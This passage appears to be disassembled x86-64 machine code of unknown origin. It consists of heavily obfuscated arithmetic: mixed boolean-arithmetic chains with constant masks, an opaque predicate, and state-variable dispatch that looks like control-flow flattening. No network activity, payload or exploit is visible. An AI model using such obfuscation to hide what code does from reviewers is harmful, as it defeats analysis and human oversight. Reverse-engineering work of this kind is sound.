and r11d, 0xa5839b65
or r11d, edi
xor r11d, ecx
not edx
or edx, r11d
mov ecx, ebx
not ecx
and ecx, 0x8bd249cb
and ebx, 0x742db634
or ebx, ecx
mov ecx, edx
not ecx
and ecx, 0x8bd249cb
and edx, 0x742db634
or edx, ecx
xor edx, ebx
or eax, r8d
not eax
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x69b9d162
and eax, 0x96462e9d
or eax, ecx
mov ecx, eax
xor ecx, 0x6022a81
xor eax, 0x9819120
and ecx, 0x663a6ac3
and eax, 0x99c5953c
or eax, ecx
xor eax, 0x99c5953c
setne r9b
sete r11b
cmp r10d, 9
setg al
cmp r10d, 0xa
setl r8b
mov r12d, r8d
xor r12b, al
mov r10d, r12d
xor r10b, 1
mov ebx, r12d
xor bl, r10b
and bl, r12b
mov esi, ebx
xor sil, 1
mov ecx, esi
and cl, bl
mov edx, ecx
xor dl, 1
xor cl, bl
or dl, sil
xor dl, 1
or dl, cl
xor dl, al
mov ecx, r10d
and cl, r12b
mov ebx, r10d
and bl, cl
xor cl, r10b
or cl, bl
mov ebx, ecx
xor bl, 1
and bl, r8b
and cl, al
or cl, bl
mov ebx, r12d
xor bl, al
or al, r12b
xor al, 1
or al, bl
xor al, 1
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
xor al, dl
and dl, al
mov ecx, eax
xor cl, dl
xor dl, 1
xor cl, 1
or dl, al
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
mov eax, ecx
and al, dl
mov ebx, ecx
xor bl, al
xor al, 1
or al, dl
xor al, 1
or al, bl
or cl, dl
xor cl, al
and al, cl
xor al, 1
mov edx, eax
xor dl, cl
or al, cl
xor al, 1
or al, dl
mov ecx, r11d
xor cl, r9b
mov r13d, ecx
xor r13b, 1
mov edx, r13d
or dl, cl
mov ebx, edx
xor bl, r13b
or dl, cl
mov r10d, ebx
xor r10b, dl
or dl, bl
xor dl, 1
or dl, r10b
mov ebx, r11d
xor bl, dl
mov r10d, ebx
and r10b, r11b
and bl, dl
mov edx, r10d
and dl, bl
xor bl, r10b
or bl, dl
and cl, r13b
mov edx, r13d
and dl, cl
xor cl, r13b
or cl, dl
mov edx, ecx
xor dl, 1
and dl, r11b
and cl, r9b
or cl, dl
mov edx, r13d
and dl, r11b
xor r13b, r11b
or r13b, dl
xor r13b, 1
mov edx, ecx
and dl, r13b
xor r13b, cl
or r13b, dl
mov ecx, r13d
xor cl, 1
mov edx, ebx
xor dl, 1
and cl, dl
or dl, r13b
xor dl, 1
and r13b, bl
or r13b, cl
mov ecx, edx
and cl, r13b
xor r13b, dl
or r13b, cl
mov ecx, r13d
xor cl, 1
or r13b, cl
xor r13b, 1
mov edx, ecx
xor dl, r13b
or r13b, cl
xor r13b, 1
or r13b, dl
xor r13b, 1
mov ecx, edx
and cl, r13b
xor r13b, dl
or r13b, cl
mov ecx, eax
xor cl, 1
mov edx, eax
or dl, cl
mov ebx, ecx
mov r11d, edx
xor r11b, 1
and r11b, al
mov r10d, r13d
xor r10b, 1
mov r14d, r10d
and r14b, r13b
mov ecx, r13d
xor cl, r14b
xor cl, 1
xor r14b, 1
or r14b, r13b
xor r14b, 1
or r14b, cl
mov r9d, ebx
mov byte [rbp + 0x28], bl
or bl, r14b
xor r14b, 1
or r14b, al
xor r14b, 1
xor bl, 1
mov ecx, r14d
and cl, bl
xor bl, r14b
or bl, cl
mov ecx, ebx
xor cl, al
mov byte [rbp + 0x30], cl
or bl, al
mov byte [rbp + 0x2c], bl
mov byte [rbp + 0x3d], dl
or al, dl
mov ecx, r9d
and cl, dl
or cl, r11b
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, 1
mov ebx, eax
and bl, cl
mov edx, eax
xor dl, bl
xor bl, 1
or bl, cl
xor bl, 1
or bl, dl
mov edx, ebx
xor dl, 1
or al, cl
mov r9d, eax
xor r9b, 1
mov ecx, ebx
xor cl, al
and cl, bl
and r9b, dl
and al, bl
or al, r9b
xor cl, 1
xor al, 1
mov r9d, ecx
xor r9b, al
or al, cl
xor al, 1
or al, r9b
mov r9d, eax
xor r9b, 1
mov ecx, r9d
and cl, al
xor r9b, cl
xor cl, 1
or cl, al
xor cl, 1
or cl, r9b
mov eax, edx
xor al, bl
or dl, bl
xor dl, 1
or dl, al
xor dl, 1
mov eax, ecx
xor al, dl
or dl, cl
xor dl, 1
or dl, al
xor dl, 1
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov eax, edx
xor al, 1
mov ecx, edx
xor cl, al
and al, dl
and cl, dl
mov edx, ecx
xor dl, 1
mov ebx, eax
xor bl, dl
and dl, cl
mov r9d, edx
and r9b, cl
xor dl, cl
or dl, r9b
xor dl, al
xor bl, 1
or cl, al
xor cl, 1
or cl, bl
xor cl, 1
mov eax, edx
and al, cl
xor cl, dl
or cl, al
mov edx, ecx
xor dl, 1
mov r14d, edx
and r14b, cl
xor dl, r14b
xor r14b, 1
or r14b, cl
xor r14b, 1
or r14b, dl
and r12b, r8b
mov ecx, r12d
xor cl, 1
or r12b, cl
mov edx, ecx
xor dl, r12b
or r12b, cl
xor r12b, 1
or r12b, dl
mov ecx, r12d
xor cl, 1
and r12b, cl
mov edx, ecx
and dl, r12b
xor r12b, cl
or r12b, dl
mov ecx, r12d
xor cl, 1
mov edx, ecx
and dl, r12b
xor cl, dl
xor dl, 1
or dl, r12b
xor dl, 1
or dl, cl
mov ecx, r8d
xor cl, dl
xor dl, 1
or dl, r8b
xor dl, 1
xor cl, 1
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov r8d, ecx
xor r8b, 1
and r8b, cl
xor r8b, 1
mov edx, ecx
xor dl, r8b
or r8b, cl
xor r8b, 1
or r8b, dl
mov byte [rbp + 0x3c], r10b
or r13b, r10b
mov ebx, r13d
xor bl, 1
mov eax, r10d
xor al, r13b
mov byte [rbp + 0x3b], al
and r13b, bl
xor r13b, 1
mov edx, ebx
xor dl, r13b
or r13b, bl
xor r13b, 1
or r13b, dl
xor r13b, r10b
xor al, 1
mov byte [rbp + 0x38], al
or bl, r10b
xor bl, 1
or bl, al
mov edx, r13d
xor dl, bl
or bl, r13b
xor bl, 1
or bl, dl
mov r13d, ebx
xor r13b, 1
mov r10d, r13d
xor r10b, bl
mov edx, r10d
and dl, r13b
mov r12d, edx
xor r12b, 1
mov ecx, r12d
and cl, dl
xor cl, 1
mov r9d, edx
xor r9b, cl
or cl, dl
xor cl, 1
or cl, r9b
mov r9d, r13d
or r9b, bl
mov eax, ecx
xor al, 1
and al, r9b
xor r12b, r9b
xor r9b, 1
and cl, r9b
or cl, al
or r9b, dl
mov r15d, r14d
xor r15b, 1
xor r9b, 1
or r9b, r12b
xor r9b, 1
mov eax, ecx
and al, r9b
xor r9b, cl
or r9b, al
mov eax, r9d
xor al, 1
mov ecx, eax
and cl, r9b
xor al, cl
xor cl, 1
or cl, r9b
xor cl, 1
or cl, al
and r13b, bl
or r13b, r10b
mov eax, r13d
xor al, 1
and r13b, al
mov ebx, eax
and bl, r13b
xor r13b, al
or r13b, bl
xor r13b, 1
xor cl, 1
mov eax, ecx
or al, r13b
xor cl, r13b
xor cl, 1
mov ebx, eax
xor bl, cl
or cl, al
xor cl, 1
or cl, bl
mov r13d, ecx
xor r13b, 1
mov eax, r13d
and al, cl
xor al, 1
mov ebx, eax
xor bl, cl
or al, cl
xor al, 1
or al, bl
or r13b, cl
xor r13b, 1
mov ecx, eax
and cl, r13b
xor r13b, al
or r13b, cl
mov eax, r13d
xor al, 1
or r13b, al
xor r13b, 1
mov ecx, eax
and cl, r13b
xor r13b, al
or r13b, cl
mov eax, r13d
xor al, 1
and r13b, al
mov ecx, eax
and cl, r13b
xor r13b, al
or r13b, cl
mov eax, r15d
and al, r14b
mov edx, r14d
or dl, r15b
xor r15b, r14b
or r15b, al
xor al, 1
mov ecx, r14d
xor cl, al
or al, r14b
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
mov r10d, edx
mov ebx, edx
mov r14d, ecx
and r14b, dl
xor dl, cl
and cl, al
xor cl, 1
mov r12d, eax
xor r12b, cl
or cl, al
xor r10b, 1
and bl, r10b
xor cl, 1
or cl, r12b
xor bl, 1
mov r12d, r10d
xor r12b, bl
or bl, r10b
mov eax, r8d
xor al, 1
xor bl, 1
or bl, r12b
xor bl, cl
or dl, r14b
xor dl, 1
mov ecx, ebx
and cl, dl
xor dl, bl
or dl, cl
mov byte [rbp + 0x39], dl
and r8b, al
mov ecx, eax
and cl, r8b
xor r8b, al
or r8b, cl
mov r14d, r8d
xor r14b, 1
mov r12d, r14d
or r12b, r8b
mov ecx, r14d
xor cl, r12b
or r12b, r14b
xor r12b, 1
or r12b, cl
mov ecx, edx
xor cl, 1
mov r10d, ecx
xor r10b, r12b
xor r10b, 1
or r10b, cl
and cl, dl
xor cl, 1
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
mov eax, ecx
xor al, 1
mov ebx, ecx
and bl, al
mov edx, ebx
and dl, cl
xor bl, cl
or bl, dl
or al, cl
xor al, 1
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, r8d
and cl, r14b
xor r14b, r8b
or r14b, cl
mov ecx, r14d
xor cl, 1
and r14b, cl
mov edx, ecx
and dl, r14b
xor r14b, cl
or r14b, dl
mov ebx, eax
xor bl, 1
mov ecx, ebx
or cl, al
xor cl, 1
mov edx, eax
xor dl, bl
and dl, al
xor dl, cl
mov r9d, edx
xor r9b, 1
and cl, r9b
mov r8d, ecx
xor cl, dl
xor r8b, 1
or r8b, r9b
xor r8b, 1
or r8b, cl
mov esi, r15d
xor sil, 1
mov r11d, r15d
or r11b, sil
mov edx, r11d
xor dl, 1
mov ecx, r11d
and cl, dl
xor r11b, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, r11b
mov r9d, ebx
and r9b, al
mov r11d, r9d
xor r11b, 1
or r11b, al
xor r9b, bl
xor r11b, 1
or r11b, r9b
mov eax, r11d
xor al, 1
and al, r15b
mov r9d, ebx
xor r9b, r15b
or bl, r15b
mov edi, r15d
and dil, sil
xor r15b, dil
xor dil, 1
or dil, sil
xor dil, 1
or dil, r15b
xor dil, cl
mov ecx, edx
xor cl, sil
or dl, sil
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, dil
xor dil, 1
or dil, dl
xor cl, 1
xor dil, 1
or dil, cl
mov ecx, edi
xor cl, 1
or cl, r8b
xor r8b, 1
or r8b, dil
mov edx, r8d
xor dl, cl
or r8b, cl
xor r8b, 1
or r8b, dl
and r11b, sil
or r11b, al
xor bl, 1
or bl, r9b
xor bl, 1
mov eax, r11d
and al, bl
xor bl, r11b
or bl, al
mov eax, ebx
xor al, 1
and bl, al
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
mov eax, r8d
xor al, 1
mov ecx, r8d
and cl, al
mov edx, ecx
xor dl, 1
or dl, al
xor cl, r8b
xor dl, 1
or dl, cl
mov eax, ebx
xor al, 1
mov ecx, edx
and dl, al
xor cl, 1
and cl, bl
or dl, cl
mov eax, r8d
xor al, bl
or bl, r8b
mov r8d, r12d
xor r8b, 1
xor bl, 1
or bl, al
mov eax, ebx
xor al, dl
xor dl, 1
xor al, 1
or dl, bl
xor dl, 1
or dl, al
mov esi, r8d
or sil, r12b
xor sil, 1
mov ecx, r8d
and cl, sil
xor sil, r8b
or sil, cl
mov ecx, r14d
xor cl, 1
mov r11d, r14d
and r11b, cl
mov r9d, r14d
and r9b, r11b
mov ebx, r14d
xor bl, r11b
or bl, r9b
xor bl, 1
mov eax, r14d
or al, cl
xor al, 1
mov r9d, ebx
and r9b, al
xor al, bl
or al, r9b
mov ebx, eax
xor bl, 1
and al, bl
mov r9d, ebx
and r9b, al
xor al, bl
or al, r9b
xor al, sil
mov ebx, r11d
xor bl, 1
xor r11b, cl
or bl, r14b
xor bl, 1
or bl, r11b
xor r14b, r12b
or cl, r8b
xor cl, 1
or cl, r14b
xor bl, r8b
mov r9d, ecx
xor r9b, bl
xor bl, 1
or bl, cl
xor r9b, 1
xor bl, 1
or bl, r9b
mov r9d, ebx
xor r9b, 1
and r9b, al
xor al, 1
mov ecx, eax
xor cl, bl
and cl, al
and bl, al
or bl, r9b
mov eax, ecx
and al, bl
xor bl, cl
or bl, al
xor dl, 1
mov eax, edx
mov ecx, edx
and cl, bl
xor dl, bl
xor bl, 1
xor al, bl
xor al, 1
or al, bl
xor al, 1
or dl, cl
mov r9d, edx
xor r9b, 1
mov ecx, edx
and cl, r9b
xor dl, cl
xor cl, 1
or cl, r9b
xor cl, 1
or cl, dl
xor cl, al
mov edx, eax
xor dl, r9b
or r9b, al
xor r9b, 1
or r9b, dl
mov eax, ecx
xor al, r9b
or r9b, cl
xor r9b, 1
or r9b, al
and r12b, r8b
xor r12b, 1
mov eax, r12d
xor al, r8b
or r12b, r8b
xor r12b, 1
or r12b, al
xor r12b, byte [rbp + 0x39]
mov eax, r12d
xor al, r10b
xor r10b, 1
mov ecx, r12d
xor cl, r10b
xor cl, 1
xor al, 1
or r10b, r12b
xor r10b, 1
or r10b, al
mov eax, ecx
xor al, r10b
or r10b, cl
xor r10b, 1
or r10b, al
mov eax, r10d
xor al, 1
mov ecx, eax
and cl, r10b
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
xor cl, 1
or al, r10b
mov edx, ecx
xor dl, al
and al, cl
or al, dl
xor dl, 1
mov ecx, edx
xor cl, al
or dl, al
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
and cl, dl
xor cl, 1
mov eax, edx
xor al, cl
or cl, dl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
or cl, al
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov edi, ecx
xor dil, 1
mov r8d, r9d
xor r8b, 1
mov eax, r8d
or al, r9b
mov r10d, eax
xor r10b, 1
mov ebx, r9d
xor bl, r8b
and bl, r9b
and al, r10b
mov r11d, eax
and r11b, r10b
xor al, r10b
or al, r11b
xor al, bl
mov r11d, r10d
xor r11b, bl
or bl, r10b
mov r10d, ecx
or r10b, dil
xor bl, 1
or bl, r11b
xor bl, 1
mov r11d, eax
and r11b, bl
xor bl, al
mov esi, r10d
xor sil, 1
or bl, r11b
mov r11d, esi
and r11b, r10b
mov r14d, r11d
xor r14b, 1
or r14b, r10b
xor r11b, sil
xor r14b, 1
or r14b, r11b
mov eax, edi
xor al, cl
and al, dil
mov r10d, eax
xor r10b, 1
mov edx, eax
and dl, r10b
xor dl, 1
mov r11d, edx
xor r11b, r10b
or dl, r10b
xor dl, 1
or dl, r11b
mov r10d, r14d
xor r10b, 1
and r10b, dl
xor dl, 1
and dl, r14b
or dl, r10b
mov r10d, esi
xor r10b, al
or al, sil
xor al, 1
or al, r10b
xor dl, 1
mov r10d, edx
xor r10b, al
or dl, al
mov r11d, r13d
xor r11b, 1
xor dl, 1
or dl, r10b
mov r10d, ebx
xor r10b, 1
and r10b, dl
mov esi, edx
xor sil, 1
and sil, bl
or sil, r10b
and cl, r9b
and r8b, dil
or r8b, cl
mov ecx, r9d
and cl, dil
xor dil, r9b
or dil, cl
xor dil, 1
mov ecx, r8d
and cl, dil
xor dil, r8b
or dil, cl
mov ecx, edi
xor cl, sil
xor sil, 1
or sil, dil
mov edx, esi
xor dl, cl
or sil, cl
xor sil, 1
or sil, dl
mov edx, r13d
or dl, r11b
mov ecx, edx
xor cl, 1
and r13b, dl
or dl, r11b
and cl, r11b
or cl, r13b
mov ebx, edx
xor bl, cl
xor cl, 1
xor bl, 1
or cl, dl
xor cl, 1
or cl, bl
mov ebx, ecx
xor bl, 1
mov eax, ecx
or al, bl
mov r8d, eax
xor r8b, 1
mov r9d, r8d
and r9b, al
mov edx, ecx
and dl, bl
mov r10d, r9d
and r10b, r8b
xor r9b, r8b
or r9b, r10b
xor dl, 1
mov r10d, edx
xor r10b, bl
or dl, bl
xor dl, 1
or dl, r10b
xor dl, r9b
xor dl, 1
mov r9d, eax
and r9b, bl
xor al, bl
or al, r9b
mov r9d, edx
xor r9b, al
or al, dl
xor al, 1
or al, r9b
mov r9d, eax
xor r9b, 1
xor bl, cl
or bl, r8b
mov edx, ebx
xor dl, 1
mov ecx, edx
and cl, bl
xor dl, cl
xor cl, 1
or cl, bl
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
mov ebx, edx
and bl, cl
xor bl, 1
mov r8d, ecx
xor r8b, bl
or bl, cl
xor bl, 1
or bl, r8b
and al, bl
xor bl, 1
and bl, r9b
or bl, al
mov eax, r9d
and al, dl
xor dl, r9b
or dl, al
xor bl, 1
mov eax, ebx
xor al, dl
or bl, dl
xor bl, 1
or bl, al
mov r8d, esi
xor r8b, 1
mov eax, esi
or al, r8b
mov edx, esi
or dl, al
xor al, sil
mov ecx, edx
xor cl, al
xor al, 1
xor cl, 1
or al, dl
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
mov edx, ecx
and dl, al
xor cl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, cl
mov r11d, ebx
xor r11b, 1
mov r9d, edx
xor r9b, 1
mov r10d, edx
and r10b, r9b
mov ecx, r10d
xor cl, 1
xor r10b, dl
or cl, r9b
xor cl, 1
or cl, r10b
mov edx, ecx
and dl, r11b
xor cl, 1
and cl, bl
or cl, dl
xor cl, 1
mov edx, ecx
and dl, r11b
xor cl, r11b
or cl, dl
mov r9d, ecx
xor r9b, 1
mov eax, ebx
or al, r11b
mov edx, eax
xor dl, 1
and bl, r11b
and al, dl
xor bl, 1
mov r10d, r11d
xor r10b, bl
or bl, r11b
xor bl, 1
or bl, r10b
xor al, 1
mov r10d, edx
xor r10b, al
or al, dl
xor al, 1
or al, r10b
xor al, bl
mov ebx, r11d
xor bl, dl
or dl, r11b
xor dl, 1
or dl, bl
xor dl, 1
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
xor dl, 1
xor sil, dl
and sil, dl
or dl, r8b
mov eax, edx
xor al, sil
xor sil, 1
xor al, 1
or sil, dl
xor sil, 1
or sil, al
mov eax, esi
xor al, 1
xor sil, r8b
xor sil, 1
or sil, al
mov r8d, esi
xor r8b, 1
mov edx, esi
and dl, r8b
mov ebx, esi
and bl, dl
xor dl, sil
or dl, bl
mov edi, ecx
xor dil, r9b
and dil, cl
mov r11d, edx
xor r11b, 1
mov r10d, ecx
xor r10b, r11b
xor r11b, r9b
or r9b, cl
or r8b, sil
mov ebx, edi
xor bl, 1
and bl, dil
mov esi, ebx
and sil, dil
xor bl, dil
or bl, sil
mov eax, r9d
xor al, 1
and r9b, al
mov esi, r9d
and sil, al
xor r9b, al
or r9b, sil
mov esi, ebx
xor sil, 1
and sil, r9b
xor r9b, 1
and r9b, bl
or r9b, sil
mov ebx, edi
xor bl, al
or al, dil
xor al, 1
or al, bl
xor r9b, 1
mov ebx, r9d
xor bl, al
or r9b, al
xor r8b, dl
xor r9b, 1
or r9b, bl
and dl, r8b
mov eax, r8d
xor al, dl
xor dl, 1
xor al, 1
or dl, r8b
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
and dl, al
xor dl, 1
mov ebx, edx
xor bl, al
or dl, al
xor dl, 1
or dl, bl
mov eax, r9d
xor al, 1
and al, dl
xor dl, 1
and dl, r9b
or dl, al
and r10b, cl
mov eax, r10d
and al, r11b
xor r11b, r10b
or r11b, al
mov r14d, edx
xor r14b, 1
and dl, r14b
mov eax, r14d
and al, dl
xor dl, r14b
or dl, al
xor dl, r11b
mov eax, r14d
and al, r11b
xor r14b, r11b
or r14b, al
xor r14b, 1
mov eax, edx
and al, r14b
xor r14b, dl
or r14b, al
movzx ecx, byte [rbp + 0x2c]
xor cl, 1
or cl, byte [rbp + 0x30]
mov eax, ecx
mov r8d, ecx
xor al, 1
movzx ecx, byte [rbp + 0x3d]
movzx edx, byte [rbp + 0x28]
xor cl, dl
mov ebx, ecx
xor bl, 1
and cl, dl
mov edx, ecx
and dl, bl
xor cl, bl
or cl, dl
movzx edx, byte [rbp + 0x3b]
and dl, byte [rbp + 0x3c]
mov ebx, edx
movzx r9d, byte [rbp + 0x38]
and bl, r9b
xor dl, r9b
or dl, bl
xor dl, 1
mov ebx, edx
or bl, cl
xor bl, 1
xor dl, cl
xor dl, 1
and dl, cl
mov ecx, ebx
and cl, dl
xor dl, bl
or dl, cl
mov ecx, edx
xor cl, 1
mov ebx, ecx
and bl, r8b
or cl, al
and al, dl
or al, bl
mov ebx, eax
xor bl, r8b
and bl, al
or dl, r8b
mov eax, edx
xor al, cl
or dl, cl
xor dl, 1
or dl, al
xor dl, bl
mov eax, edx
xor al, 1
and al, bl
mov ecx, eax
and cl, dl
xor al, dl
or al, cl
mov ecx, eax
xor cl, 1
mov r9d, eax
and r9b, cl
mov r8d, r9d
and r8b, cl
mov edx, r9d
xor dl, cl
or dl, r8b
mov ebx, edx
xor bl, 1
and bl, dl
mov r8d, ebx
and r8b, dl
xor bl, dl
or bl, r8b
xor cl, al
or cl, r9b
mov r9d, ecx
xor r9b, 1
mov r10d, ebx
xor r10b, 1
mov r8d, r10d
and r8b, cl
mov r11d, r10d
xor r11b, cl
or r11b, r8b
mov r8d, r11d
xor r8b, 1
mov edx, r9d
and dl, cl
mov eax, edx
xor al, 1
xor dl, r9b
or al, cl
xor al, 1
or al, dl
and r10b, al
xor al, 1
and al, bl
or al, r10b
mov ecx, r11d
and cl, al
xor al, 1
and r8b, al
or r8b, cl
mov ecx, r11d
and cl, al
xor al, r11b
or al, cl
xor al, 1
mov ecx, r8d
and cl, al
xor al, r8b
or al, cl
mov edx, eax
xor dl, 1
mov ecx, eax
xor cl, dl
and cl, al
mov ebx, ecx
xor bl, 1
and dl, al
xor dl, 1
mov r8d, edx
xor r8b, al
or dl, al
xor dl, 1
or dl, r8b
mov eax, edx
and al, bl
xor dl, 1
and dl, cl
or dl, al
mov eax, edx
xor al, 1
and bl, al
and dl, cl
or dl, bl
xor dl, 1
or dl, al
mov r10d, edx
xor r10b, 1
mov ecx, r14d
xor cl, 1
mov r9d, ecx
and r9b, r14b
mov eax, r9d
xor al, 1
mov r8d, ecx
xor r8b, r9b
or al, r14b
xor al, 1
or al, r8b
mov ebx, edx
and bl, r10b
mov r11d, edx
and r11b, bl
xor bl, dl
or bl, r11b
xor bl, 1
or r10b, dl
mov r11d, ebx
or r11b, r10b
xor r10b, bl
xor bl, al
and al, bl
mov edx, ebx
xor dl, al
xor al, 1
xor dl, 1
or al, bl
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov esi, eax
xor sil, 1
and r9b, cl
or r9b, r8b
mov r8d, r9d
xor r8b, 1
or cl, r14b
mov ebx, r9d
and bl, r8b
mov edx, ebx
xor dl, 1
xor bl, r9b
or dl, r8b
xor dl, 1
or dl, bl
xor dl, cl
xor dl, 1
mov ebx, r8d
and bl, cl
xor cl, r8b
or cl, bl
xor cl, 1
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
xor r11b, 1
mov edx, r11d
and dl, r10b
xor r10b, r11b
or r10b, dl
mov edx, r10d
xor dl, 1
or dl, cl
xor cl, 1
or cl, r10b
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
and al, sil
mov edx, esi
and dl, al
xor al, sil
or al, dl
mov r9d, ecx
xor r9b, 1
mov ebx, r9d
and bl, cl
mov edx, r9d
xor dl, bl
xor bl, 1
or bl, cl
xor bl, 1
or bl, dl
mov r8d, ebx
xor r8b, 1
mov r11d, eax
xor r11b, 1
mov r10d, ebx
xor r10b, r8b
and r10b, bl
or r9b, cl
mov esi, r9d
xor sil, 1
mov edx, r11d
and dl, al
mov ebx, r11d
xor bl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, bl
xor dl, 1
mov ebx, r11d
or bl, al
xor bl, 1
mov ecx, edx
and cl, bl
xor bl, dl
or bl, cl
mov ecx, esi
and cl, r9b
mov edx, ecx
and dl, sil
xor cl, sil
or cl, dl
mov edx, ecx
xor cl, 1
and cl, r10b
xor r10b, 1
and dl, r10b
or cl, dl
mov edx, r10d
and dl, r9b
xor r10b, r9b
or r10b, dl
xor r10b, 1
mov edx, ecx
and dl, r10b
xor r10b, cl
or r10b, dl
xor bl, 1
mov ecx, ebx
xor cl, r10b
xor cl, 1
and cl, r10b
or bl, r10b
mov edx, ebx
xor dl, cl
xor cl, 1
or cl, bl
xor dl, 1
xor cl, 1
or cl, dl
mov edx, eax
xor dl, r8b
and dl, al
xor r11b, r8b
mov eax, edx
and al, r11b
xor r11b, dl
or r11b, al
mov eax, r11d
xor al, 1
and r11b, al
mov edx, eax
and dl, r11b
xor r11b, al
or r11b, dl
mov eax, r11d
xor al, 1
mov edx, eax
and dl, cl
xor cl, 1
and r11b, cl
or r11b, dl
mov edx, ecx
and dl, al
xor cl, al
or cl, dl
mov eax, ecx
xor al, r11b
test al, 1
mov edx, 0x6fa91c6
mov eax, 0x6b4252df
cmovne edx, eax
test cl, 1
mov eax, 0x6fa91c6
cmovne eax, edx
test r11b, 1
jmp 0x1400213b1
mov eax, 0x84f9df0
mov dword [rbp + 0x14], 0
cmp eax, 0x1fd01907
jle 0x1400019e0
jmp 0x140001977
mov eax, dword [0x1400a6668]
lea r10d, [rax - 1]
imul r10d, eax
mov ecx, r10d
not ecx
mov eax, ecx
mov edi, ecx
and eax, 0xcd8f26a5
mov ecx, r10d
and ecx, 0x3270d95a
or ecx, eax
mov eax, ecx
xor eax, 0x20509052
xor ecx, 0xc10520a5
and ecx, 0xd32569ad
and eax, 0x2cda9652
or eax, ecx
mov ecx, eax
xor ecx, 0xc2210908
xor eax, 0x2cda9652
mov edx, edi
and edx, 0xae3456e2
mov ebx, r10d
and ebx, 0x51cba91d
or ebx, edx
xor ebx, 0x51cba91d
mov edx, ebx
xor edx, edi
mov r8d, edi
mov dword [rbp + 0x30], edi
and edx, ebx
mov ebx, edx
not ebx
mov edi, eax
or edi, ebx
mov esi, edi
not esi
and eax, 0x3ddcf0e5
and ecx, 0xc2230f1a
or ecx, eax
and ebx, 0x3ddcf0e5
and edx, 0xc2230f1a
or edx, ebx
xor edx, ecx
mov eax, edx
not eax
mov ecx, edi
and ecx, 0xa9c085ca
and esi, 0x563f7a35
or esi, ecx
or edi, eax
and eax, 0xa9c085ca
and edx, 0x563f7a35
or edx, eax
xor edx, esi
not edi
or edi, edx
mov eax, edi
mov ecx, edi
xor ecx, 0x83f99e90
and ecx, edi
not edi
and edi, 0x3919e80
and eax, 0x80680010
or eax, edi
mov edx, eax
xor edx, 0x80000010
xor eax, 0x7f97ffef
mov ebx, ecx
not ebx
mov edi, eax
and edi, 0xd7ec483
and edx, 0x82811a10
or edx, edi
or eax, ebx
and ebx, 0xd7ec483
and ecx, 0xf2813b7c
or ecx, ebx
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x7c06616f
and eax, 0x83f99e90
or eax, ecx
mov ecx, eax
mov edx, eax
xor edx, 0x50b79da9
and edx, eax
not eax
and eax, 0xf18a2f5a
and ecx, 0xe75d0a5
or ecx, eax
mov eax, ecx
xor eax, 0xe75d0a5
mov ebx, eax
and ebx, 0x50b79da9
mov edi, ebx
and edi, edx
xor edx, ebx
or edx, edi
mov ebx, edx
and ebx, 0x21f9b3c4
not edx
and edx, 0xde064c3b
or edx, ebx
and eax, 0x714e2e6d
xor ecx, 0x7f3bfec8
or ecx, eax
mov eax, ecx
not eax
mov ebx, edx
not ebx
mov edi, ebx
and edi, 0x9fbf86aa
and edx, 0x60407955
or edx, edi
or ebx, ecx
and ecx, 0x9fbf86aa
and eax, 0x60407955
or eax, ecx
xor eax, edx
not ebx
or ebx, eax
mov eax, ebx
xor eax, 0xb44a9e1f
and eax, ebx
or ebx, 0x4bb561e0
mov ecx, ebx
not ecx
mov edx, eax
not edx
mov edi, ebx
and edi, 0xacc68526
and ecx, 0x10081a19
or ecx, edi
or ebx, edx
and edx, 0xacc68526
and eax, 0x53397ad9
or eax, edx
xor eax, ecx
not ebx
or ebx, eax
mov eax, ebx
not eax
and eax, 0x4bb561e0
and ebx, 0xb44a9e1f
or ebx, eax
mov r12d, ebx
not r12d
and ebx, 0x65bb55e9
and r12d, 0x9a44aa16
or r12d, ebx
mov r14d, r12d
xor r14d, 0x65bb55e9
xor r12d, 0x9a44aa16
mov eax, r10d
and eax, 0x7ea9038a
mov ebx, r8d
and ebx, 0x8156fc75
or ebx, eax
mov eax, ebx
xor eax, 0x7ea9038a
mov edx, ebx
xor edx, 0x112f024
and edx, 0x2393f024
xor ebx, 0xe1ab8424
and ebx, eax
and eax, 0xdc6c0fdb
or eax, edx
mov edx, eax
xor edx, 0xdc6c0fdb
xor eax, 0x2393f024
mov esi, eax
or esi, 0x60fd7851
mov ecx, esi
not ecx
mov edi, ebx
not edi
mov r9d, esi
and r9d, 0xe9f9610a
and ecx, 0x160286a4
or ecx, r9d
or esi, edi
and edi, 0xe9f9610a
and ebx, 0x16069ef5
or ebx, edi
xor ebx, ecx
not esi
or esi, ebx
mov ecx, esi
not ecx
and ecx, 0xee4ca9c3
and esi, 0x11b3563c
or esi, ecx
and eax, 0x879ba8f7
mov ecx, edx
and ecx, 0x78645708
or ecx, eax
xor ecx, 0x92a7965
and edx, 0x8eb1d192
or edx, ecx
not edx
mov eax, esi
and eax, edx
xor edx, esi
or edx, eax
mov eax, edx
not eax
and eax, 0x74cc00d0
and edx, 0x8b33ff2f
or edx, eax
mov eax, edx
not eax
